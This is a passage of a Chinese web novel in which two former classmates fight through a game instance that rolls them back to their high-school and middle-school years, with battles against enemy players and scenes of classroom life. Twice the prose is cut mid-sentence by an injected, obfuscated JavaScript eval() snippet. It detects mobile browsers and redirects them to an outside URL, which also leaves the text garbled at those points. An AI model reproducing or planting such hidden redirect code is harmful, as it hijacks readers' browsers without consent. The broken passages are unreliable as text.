商予盈俯视着「应凌心」,对方在重伤下的眼睛略有些失焦,呆呆地看着她。 “异能还剩多少?” 黑洞洞的枪口后,商予盈问她。 「应凌心」张了张嘴,先前被烟呛到的嗓子还没恢复,讲不出任何话。 商予盈一手扶着课桌,一手举着枪,低头看着她。 “我等着。” 冷冰冰地对她说。 「应凌心」趴在地上一动不动,只是连着眨了两下眼。 “砰!” 商予盈扣动了扳机。 39.并行回滚(九) “砰!” 一声枪响在教室中响起。 商予盈没带任何犹豫地开了枪。 当然,不是打「应凌心」。 指向「应凌心」的枪口在她看到「应凌心」连眨两次眼后瞬间扭转了方向,冲着[季祝火]的头开了枪。 [季祝火]有定住子弹的能力。只是普通的射击,根本不够打败她。 更何况,任谁看到商予盈挺直的腰背,都会防备她作出最后的挣扎。 手握着一把枪却没有异能的玩家,除了拿枪崩了队友、拿枪崩了自己,剩下的也只有自我安慰式地朝敌人再开一枪了吧? 果不其然,子弹被[季祝火]定住。 黑沉眼眸中暗暗流动的红色旋涡却在同时被定格住。 下一秒,[季祝火]栽倒在地。 商予盈像是早有预料,又开了一枪。 子弹这次没有被定住,直直穿透了对方的脑袋。 商予盈握着枪的手微微发抖,注视着地上的尸体,直到被系统抹除,提示声随之响起。 【恭喜玩家完成当前节点,请等待另一玩家进程更新】 总算是能松口气了,她扭头看向离昏死过去没多远的「应凌心」,俯身蹲在了地上。 刚才枪响的一瞬间,「应凌心」同时发动了异能。 正常来说,她们感受不到「应凌心」操控的电流流动,却能够感知到她精神力的波动。 精神力的波动,在很多时候都会让玩家攻击的意图无处遁形,更何况是「应凌心」这种刚掌握异能没多久的玩家? 但「应凌心」精神力的波动没有被任何人在乎。 从她腿被炸伤开始,因为剧烈的疼痛,精神力不受控制地逸散在整个教室内。 「应凌心」趴在地上一动不动,甚至双眼开始涣散,只有满屋的精神力昭示着她还活着。 没有人会相信这样一个陷入绝望的人会作出有效的反抗。 除了商予盈。 商予盈中学时跟应凌心并不算熟,但没有人比她更了解应凌心的性格。 应凌心的好胜心,其实比任何人都要强。 这种刻在骨子里的好胜心,平时不会彰显出来,但在危急时刻,会迸发出掺杂着自毁倾向的力量。 她不可能服气的。 不由分说地跟她打起来,把她的腿炸毁,把她的肩膀踩断。 面对这样的人,她怎么可能会服气? 哪怕她累得要坚持不下去了,哪怕她失去了行动能力,哪怕她觉得未来只会是徒劳的挣扎求生。 但真到了最紧要的关头,在「应凌心」趴在地上试图让眼睛聚焦的每一秒,她都在想着对策。 怎么让对方放松警惕,怎么打败对方? ...怎么赢? 她可以疼得精神涣散痛不欲生,可以被废掉更多的身体部位,可以就这样死在这里。 但她就是要赢。 「应凌心」向外逸散着自己的精神力,一股电流在杂乱无章的精神力的掩护下流窜到[季祝火]身上。 在她倒下后,她就不断地控制电流横冲乱撞,有时会掠过[季祝火]。 没有任何攻击性,装作失去控制的样子,只为了看对方对电流的感知能力。 「应凌心」耐心地等着。 她用自己能控制的最微弱的电流,微弱到她自己都无法确定地感知,小心翼翼地包向[季祝火]的心脏。 外逸的精神力仍在慌乱地流窜着,「应凌心」听到商予盈的话,眨了眨眼。 商予盈说的没错,她们只有一次机会。 她不担心商予盈会为了活命杀死她,至少不是现在——那是实在没有办法时的办法,是彻头彻尾的失败。 她知道商予盈和她一样讨厌输。 “砰——!” 一声枪响,在她耳边被放慢速度。 「应凌心」毫不犹豫地发动异能,没有作出任何防御,所有的精神力毫无保留地被倾注到被电流标记的位置。 雷电贯穿[季祝火]的身体,劈向她的心脏。 她们这些玩家,纵使有大把大把的能力去阻挡进攻,但在真正被攻击到时,依旧是用肉身去承受。 再普通不过的、脆弱不堪的、人类的肉身。 全身上下不知有多少神经已经坏死,先前剧烈的灼痛逐渐变得麻木。 即使是这样,残余的疼痛仍让「应凌心」后脑的钝痛显得微不足道。 她强撑着看着[季祝火]倒下后被副本移除,直到听到副本的播报声,终于松了口气,两眼一闭就想先睡一会。 商予盈盘腿坐下,强迫她保持清醒。 系统的通知印证了她的推测。 “等待另一玩家进程更新”,指的大概不是眼前的「应凌心」。 她的左脚莫名其妙地失去了知觉,多半也是另一个“进程”导致的。 那边还没结束,这边的「应凌心」如果昏死过去,搞不好真正的应凌心也会失去意识。 “再坚持一下。” 商予盈看着虚弱的「应凌心」,回忆着女孩刚才的话。 “听会儿故事?”她问「应凌心」。 . ------------------------------------------------------ 应凌心感觉自己的头越来越混沌,眼皮越来越沉。 她强打起精神,抬头去看场上的局势。 「商予盈」大概是想明白了副本的机制,她也算勉强帮上了一点忙。 尽管这份忙微乎其微。 毕竟她站都站不起来,除了弹匣里的十几发子弹,其余所有的计划都需要「商予盈」来实施。 甚至没有计划这一说——她现在连话都讲不出来。 但她大概猜到「商予盈」想要做什么了。 她有时候会调侃商予盈是个疯子,但人不是在一天之内变疯的。 高中时期的「商予盈」,已经是个小疯子了。 想想等下要发生什么,应凌心感觉自己全身蛮不讲理的疼痛上又被叠了一层幻痛。 . 「商予盈」扶着墙站立着,头因为失血过多有些发晕。 她有一个不太成熟的小推测。 完全没把握,但看到[周授虚]的行为跟应凌心的动作,感觉可能性也不算小。 [周授虚]不敢杀死她,或者说,不能杀死她。 而她杀不死[周授虚]的话,大概率会死。 对于「商予盈」来说,死不了的事都不算大事—— 包括全身上下的部位被切割着废掉的风险。 「商予盈」感觉自己异能的优势这时候就凸显出来了。 她的移动不需要依靠腿。 也不需要依靠任何其它身体部位。 她扭头看了眼应凌心,对方倒在地上,手死死地握着枪。 手枪一般有多少发子弹? 她不太确定。 她身上有几处要害? 她也不太确定。 「商予盈」决定让自己的判断多一点确定性。 异能又一次被发动,这次,「商予盈」把自己传到了[周授虚]面前。 [周授虚]手中的红绳搭在地上,被套索控制着移向「商予盈」的右脚。 这在她意料之中——把人的第二条腿也废掉大概是最有效的恐吓手段了。 有所准备的「商予盈」在一瞬间又一次发动异能,将脚踝处的红绳移位。 红绳围成的圈足够大,大概是[周授虚]在最初希望陷阱的范围足够大。 也正好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217099|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方便「商予盈」动用自己的异能。 极具杀伤力的红绳被她向上移动,一眨眼的功夫,被移到了她脖子上。 「商予盈」把[周授虚]的红绳移到了她自己的脖子上。 只要[周授虚]动一个念头发动异能,她就会身首异处,当场毙命。 [周授虚]的手却像是被烫到了一样,直接松开了攥在手中的细绳。 尽管对方马上反应过来,用套索又把绳子收回手中,但先前的动作已经彻底暴露了她所受到的限制。 「商予盈」金色的眼睛发亮地盯着,面上看着没什么表情,眼底压抑着几分微妙的兴奋。 嘿,你还真杀不了我啊? 这是她趁着[周授虚]的套索被占用,把手伸向对方时脑中略有些欢快的念头。 . 应凌心提心吊胆地看着「商予盈」的自杀式行为,为她赌对了而大松一口气。 不是,就没有保险一点的验证方法吗? 她是真想把这个疯子骂一顿。 应凌心本来的计划是,她开几枪跟「商予盈」打配合。 毕竟如果[周授虚]真的不能杀死她们,就不需要太顾手顾脚了——字面意义上的顾手顾脚。 这还是在她觉得「商予盈」够豁得出去的基础上做的预判。 谁能想到「商予盈」把脑袋别在裤腰带上就直接莽上去了——她要是一个不小心赌输了,这也真的会变成字面意义上的“脑袋别腰上”了。 只能说令人庆幸的是「商予盈」赌对了。 [周授虚]确实不能杀死她们,这是她受到的限制。 在[周授虚]因为害怕杀掉她而慌忙撤回红绳的功夫,「商予盈」直接摸上了对方的肩膀。 异能在一瞬间被发动,手下身体内交织的空间线被「商予盈」拉扯着改变,直到紊乱的身体构造不再能维持生命。 【恭喜玩家完成当前节点,进程将在五分钟后进行回滚。】 「商予盈」的手还在因为刚才连续高强度的异能运用微微颤抖,她舒了口气,就地躺了下去。 累了。 下一个进程是什么时候?大学?工作? 应凌心现在多大了? 「商予盈」扭头去看应凌心,眨了眨眼。 . ------------------------------------------------------ 【另一玩家已完成当前节点,进程将在五分钟后进行回滚。】 商予盈听到系统的播报声,松了口气。 至少不用担心「应凌心」昏过去会耽误事了。 她刚才在给「应凌心」讲未来会发生的事,试图让女孩精神一点,一直讲到她们意外丧生后的事。 “你进入到空间,发现自己没有异能,冒着风险去下了副本,想办法靠做梦觉醒的异能。” “我们一直在挣扎着要活下去,也接受自己很可能中途丧命的现实。” “但没你想象中的那么绝望,你本身就是个在什么样的境地下都会努力好好活下去的人,未来的你有更强的自我调节能力。” “不用担心我们。” 商予盈不知道她是在开导这个五分钟后就会消失的节点玩家,还是她自己。 但既然已经说到未来了: “我们大学毕业后的同学聚会,你一滴酒没沾,散场后跟我装醉。” 她现在想想,还是觉得有点好笑,当她没发现有人全程只喝橙汁吗? “你说,你觉得我们没成为朋友挺遗憾的。” “现在是朋友了,也算是未来为数不多的好处了?” 【恭喜两位玩家完成节点二,进程回滚中...】 商予盈转了转手腕: “初中见。” 40.并行回滚(十) 应凌心硬撑着保持清醒,直到副本又一次进行回滚。 【回滚完成。】 再一睁眼,先前浑身的疼痛和笼罩着大脑的昏沉已经消失。 她小幅度动了动手脚,都恢复了知觉。 只是她依旧没有异能。 “某些同学,我就不说是谁了。心浮气躁,动来动去。” 应凌心看着忽然开始阴阳的老师,不太敢相信她是在说自己。 “看看黑板,还有207天就要中考了,给你们时间自习也不知道抓紧,成个什么样子?” 应凌心眨了眨眼,偷偷向右前方瞄去。 【以下副本通知将会在每个回滚节点进行播报:】 【在任意节点、任意玩家杀死另一位玩家即可脱离副本。】 扎着低马尾的女孩顿了顿,没有抬头,像是没听见一样,埋头接着写作业。 看来这次「商予盈」的记忆依旧被定格了。 【5分钟后,节点玩家将重新获得异能。】 「商予盈」抬头环视了一下教室,看大家都没反应,又重新低下头。 应凌心觉得这段日子久远得像是上辈子的事——确实是上辈子,她已经死过一次了。 哪怕过了这么多年,要在寂静的自习课里站起来,她还是需要给自己做一下心理建设。 真是的,都多大的人了还害怕教室? 她走到「商予盈」桌前,敲了敲桌子。 “应凌心,回到座位上去。” 没有理会老师的命令,她半蹲下身,和「商予盈」对视。 “我来自十几年后,我们已经死了,这里是副本,你是玩家,五分钟后会恢复异能。” “我们是队友,要配合着活下去。” 没时间慢慢解释了,谁知道等下会不会突然再来个[周授虚]? 每次都要解释一下,好累一副本——怪不得黑心系统说会给额外积分。 「商予盈」皱了皱眉,有些犹豫:“...你还好吗?要去医务室吗?” ...她看着很像是学习学疯了的样子吗? 老师恼怒的乱叫被自动过滤成背景音,她看到「商予盈」有些担心地看着老师。 “不用管她们,她们都是NPC,等下副本开始就会被清场了。” 这是她被老师强拉着往自己座位上走去前说的最后一句话。 要不说副本搭环境的内存不够呢,应凌心在心里默默吐槽。 正常这时候她会被请出教室站走廊,而不是被按回到原来的座位上。 老师NPC的力道极大,硬生生把她按住,凶狠地瞪着她。 ...老师你初中时明明表面上慈眉善目的,不能当了NPC就这么凶了啊。 应凌心没有办法,只能坐在座位上,等系统说的五分钟过去。 等「商予盈」恢复异能了,大概就会相信她说的了。 只是不知道这次副本又要整什么花活。 哎,快点结束吧。 应凌心奋笔疾书地在小纸条写满了字,看着「商予盈」的头发逐渐变成金色,把纸条团成团扔了过去。 「商予盈」看着纸条上的异能说明和副本套路的介绍,尝试着把桌角上的笔移了过来。 还真的有异能啊! 神奇。 「商予盈」回头看了一眼满怀期待地看着她的应凌心,耸了耸肩,重新拿起了笔。 她英语作业还没写完呢。 应凌心:...... 不知道什么时候就要有生命危险了,做题家能不能先停一停?! 她暗叹了口气,也没办法,这时候她们的思想境界跟精神状态都算不上好。 恶劣环境害人啊! . 应凌心后来跟商予盈成了朋友,跟别人介绍她的时候经常会说:“这是我朋友,高中时的同学。” 体现出她们相识已久。 但她很少会提起,甚至自己也不太想承认,她们初中时就已经是同学了。 甚至更早,她们就已经知道对方的存在了。 应凌心和商予盈从小到大的生命轨迹重合度非常高。 小学时同校,初中时同班,高中前后座。 这倒也没什么奇怪的,初中时省里开始摇号,能够自主招生的初中就那么几所,一下子成了好学生们挤破头想进的香饽饽。 她们中考前一年,几所省重点中的一所人均高考超常发挥,成绩一骑绝尘,自然也成了她们的第一选择。 直到大学考到了不同的学校,终于不再是抬头不见低头见了。 后来在机缘巧合下成了朋友,然后又很不幸地进入了空间,变成了一起努力活下去的伙伴。 老同学见面一般喜欢追忆往昔,凑在一块聊聊当年一起上课的日子和闹的笑话。 而她们俩则恰好相反,心照不宣地不再提起初中时的生活。 这是她们都想避开的过去。 . ------------------------------------------------------ 商予盈再次睁开眼,正如她所料,这次的回滚节点是她们初中时期。 异能依旧没回来。 手中握着笔,看样子正在写作业。 她转头看向后面。 「应凌心」趴在桌子上,一边看着卷子,一边转着笔。 ...这样写字,当然会近视。 系统的播报声吓了她一跳,「应凌心」噌地坐直了身子,和商予盈对上了视线。 「应凌心」没什么表情,和她对上眼神的时候下意识皱了皱眉。 接着挠了挠头,又重新趴回了桌子上。 商予盈站起身走了过去:“别写了。” 紧接着语速飞快地向她说明状况。 “...哈?”「应凌心」看着有些不耐烦,“行为艺术?” 本来压轴题做错了就烦。 班主任把商予盈请回了座位上,没说什么。 同桌八卦地凑过来:“她说啥?炫耀自己又考过你了吗?” 「应凌心」:...本来这次又没考过人家就烦。 班主任严厉地斥责同桌自习课讲话,她撇撇嘴,吐槽老师双重标准。 「应凌心」和她说悄悄话:“你考第一她就不管你了。” 班主任瞪了她一眼。 或者考第二也行。 「应凌心」低头去翻笔记本,忽然感觉眼前一花。 可能是学太久了。 她摘下了眼镜,想揉揉眼睛,却愣住了。 她的近视好了。 「应凌心」眨了眨眼,低头去看自己的手。 一抹深紫色的雷电从她的指尖蹿出来,把她吓了一跳。 合着刚才不是幻听啊。 「应凌心」皱着眉回忆刚才听到的播报声和商予盈的话。 她是节点玩家,商予盈是另一个玩家,通关的其中一个方法是... 她抬起头,又一次跟回过头来的商予盈对上了视线。 杀掉她。 「应凌心」挑了挑眉,右手转起了笔。 . ------------------------------------------------------ 「商予盈」恢复异能没多久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223584|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,下课铃就响了。 应凌心立刻凑上去,把她拉到一旁。 “这下信我说的了吧?” 抓紧熟悉异能,等下副本清场了好应对新刷出来的怪。 “副本什么时候开始?” 「商予盈」抽回自己的手腕,问,“班里的同学并没有像你说的那样消失。” “可能这次的缓冲期比较长?”毕竟她们上一个节点打得是真的惊险。 “我对冒生命危险下副本不是很感兴趣。” “由不得你选,这里已经是副本了,要不然你也不会失忆。” 应凌心在心里直叹气。 之前节点担心「商予盈」会杀掉自己那都是随口一说,现在她是真的拿不准对方会是什么反应。 虽然大概率也不会主动下杀手,但袖手旁观很简单吧? “好吧。”「商予盈」点了点头,“我会练习一下的。” 然后头也不回地回到座位上了。 应凌心:...... 算了,初中生,性格差一点也理解,她初中时也没好到哪儿去。 . ------------------------------------------------------ “我来保护你?” 下课铃一响,看到走过来的商予盈,「应凌心」笑嘻嘻地问她。 紫色的眼睛弯弯的,笑意却不及眼底, “在这么危险的副本里?” 商予盈点了点头:“我希望我们能一起合作完成副本。 当然,也可以自相残杀,只不过会正好合了副本的意。” 对面的女孩撇了撇嘴,开始问她副本可能会出现的机制。 直到上课铃打响,这次节点的情节还没开始。 「应凌心」不再理会她,坐回了自己的位置。 商予盈也只好坐回去,有一种真的回到了初中的感觉。 这节是班会课。 班主任抱着成绩单进了教室:“各科儿卷子都发下去了,都看到自己得多少分了吧?下面来说说排名。” “咱班这回第一名还是商予盈,这次八校联考,总排名第九。” 周围的同学低声哇了一下,一切都太熟悉了,让她感到有些别扭。 “商予盈,你来念一下成绩。” 初中每次考完试后的班会课,老师会让一个同学把所有人的成绩都念出来。 从第一名到最后一名,每一科的成绩,总成绩,年级排名,如果联考的话还有联考排名,一个不落地都要被念出来。 商予盈走上前,接过了成绩单,按照记忆里的样子念了起来。 “商予盈,语文117,数学114,英语120,物理97,化学97,总分545,年排3,总排9。” 确实考挺好的,英语还考了满分。 商予盈瞄了眼坐在下面盯着她看的「应凌心」,忍不住开始感慨—— 今夕是何年啊。 “应凌心,语文112,数学118.5,英语115,物理99.5,化学98,总分543,年排7,总排28。” . “你不是说你数学考砸了吗?” 同桌气急败坏的低语让「应凌心」收回视线。 “对啊,这不是给我扣了一分半吗?” “装,你接着装。” 「应凌心」乐了一下,低头看上午发下来的卷子。 有什么用?加上了还是差0.5。 她撑着脑袋,看着还在往后念成绩的商予盈。 下次考试是什么时候? ...她还有下次考试吗?